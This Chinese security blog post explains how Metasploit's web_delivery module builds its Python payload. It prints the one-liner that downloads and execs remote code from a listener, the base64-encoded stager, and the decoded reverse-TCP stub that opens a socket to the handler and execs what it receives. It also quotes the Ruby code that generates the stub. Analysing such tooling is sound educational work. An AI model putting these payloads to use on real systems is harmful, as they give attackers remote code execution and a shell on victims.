最新消息:

分析Metasploit中的web_delivery模块python是如何建立通信的

安全科普 Eternal 19960浏览 0评论

作者:Szrzvdny(即刻安全)

个人博客:http://www.inksec.cn/

如需转载请联系原作者,并注明来源!

攻击机:Linux Kali

受害机:Windows 10

Prat 1

今天群里的一位老司机装了一台公网的kali,我厚颜无耻的蹭了

然后测试反弹shell的时候发现弹不到shell(当时就映射了80),各种测发现都是坑QAQ

于是我就有了一个大胆的想法QAQ

Prat 2

大胆的想法!

  • 他的payload执行了什么?
  • 他的payload是怎么来的?

首先配置一下web_delivery模块,得到一个payload

他会得到一个payload

python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:8080/c0DklT82AcnaPH');exec(r.read());"

访问这个http://127.0.0.1:8080/c0DklT82AcnaPH

发现他会下载一个文件,打开看看

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNzc3NykpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

发现有部分是base64编码过的,解码得到payload代码

import socket,struct,time
for x in range(10):
  try:
    s=socket.socket(2,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',7777))
    break
  except:
    time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
  d+=s.recv(l-len(d))
exec(d,{'s':s})

直连测试

既然得到代码,那么我们可以尝试下使用pyhton直接通过socket连接msf呢?测试一下

发现获得了一个会话,那么是可行的。

payload的由来

当然,我们需要理解他是如何得到这个payload的。

/usr/share/metasploit-framework/modules/payloads/singles/python目录中可以看见他的模块

我们看一下meterpreter_reverse_tcp这个模块

ruby不是很懂,只能大概的理解一下意思,这段为生成payload的代码

def generate_reverse_tcp(opts={})
    socket_setup  = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
    socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
    opts[:stageless_tcp_socket_setup] = socket_setup
 
    met = stage_meterpreter(opts)
    py_create_exec_stub(met)

在看一眼上面的代码,就很明显的明白了。

总结:

用一张图片概括~

本文算是科普不喜勿喷~~~(还没做扩展性操作)。

转载请注明:即刻安全 » 分析Metasploit中的web_delivery模块python是如何建立通信的

您必须 登录 才能发表评论!



合作伙伴